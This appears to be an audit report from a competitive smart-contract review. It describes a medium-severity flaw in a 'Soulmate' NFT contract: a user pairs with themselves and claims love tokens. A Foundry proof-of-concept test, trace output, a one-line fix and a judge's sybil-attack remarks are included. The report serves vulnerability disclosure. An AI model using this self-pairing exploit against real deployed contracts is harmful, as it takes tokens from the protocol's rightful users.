Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

User can couple with themself, being able to claim love token. soulmate::mintSoulmateToken

Summary

A user can couple with themselves. This can be on purpose or by accident. This allows the user to mint NFT and claim love tokens. This means they can also stake tokens and receive more tokens.

This will be shown in a test below.

Vulnerability Details

User can cheat the protocol by coupling with themselfs.

Impact

This will enable tokens to be sent to Users who are not entitled to them. It means that they will not need to couple with someone else. This defeats the purpose of the protocol.

**Proof of Concept**
function test_Himself1() public {
address USER = makeAddr("user");
vm.startPrank(USER); // broadcasting User
soulmateContract.mintSoulmateToken(); // press mint twice
soulmateContract.mintSoulmateToken();
address workCouple = soulmateContract.soulmateOf(USER); //shows soulmate is same user as couple
console2.log("the partner of USER1 is:", workCouple);
vm.stopPrank();
vm.warp(86401);
vm.prank(USER);
airdropContract.claim();
}
result:
624] Soulmate::soulmateOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D] //shows partner is same user
│ ├─ [2586] LoveToken::balanceOf(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
│ │ └─ ← 500000000000000000000000000 [5e26]
│ ├─ emit TokenClaimed(user: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ ├─ [33184] LoveToken::transferFrom(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1000000000000000000 [1e18])
│ │ ├─ emit Transfer(from: Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ │ └─ ← true
│ └─ ← () //!!RECEIVING FUNDS!!
└─ ← ()

Tools Used

forge, remix

Recommendations

Add this line to soulmate::mintSoulmateToken line 75:

else if (soulmate2 == address(0)) {
+ require(idToOwners[nextID][0] != msg.sender, "you cant couple with yourself!");
idToOwners[nextID][1] = msg.sender;
// Once 2 soulmates are reunited, the token is minted
ownerToId[msg.sender] = nextID;
soulmateOf[msg.sender] = soulmate1;
soulmateOf[soulmate1] = msg.sender;
idToCreationTimestamp[nextID] = block.timestamp;

result:

[33015] Soulmate::mintSoulmateToken()
│ ├─ emit SoulmateIsWaiting(soulmate: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← 0
├─ [1375] Soulmate::mintSoulmateToken()
│ └─ ← revert: you cant couple with yourself!
└─ ← revert: you cant couple with yourself!
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-self-soulmate

- Given the native anonymous nature of blockchain in general, this issue cannot be avoided unless an explicit whitelist is implemented. Even then we can only confirm soulmates are distinct individuals via kyc. I believe finding a soulmate is intended to be permisionless. - However, even though sufficient (500_000_000e18 in each vault) tokens are minted to claim staking and airdrop rewards, it would take 500_000_000 / 2 combined weeks for airdrop vault to be drained which is not unreasonable given there are [80+ million existing wallets](https://coinweb.com/trends/how-many-crypto-wallets-are-there/). Given there is no option to mint new love tokens, this would actually ruin the functionality of the protocol of finding soulmates and shift the focus to abusing a sybil attack to farming airdrops instead. Assigning medium severity for now but am open for appeals otherwise, since most if not all issues lack indepth analysis of the issue.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.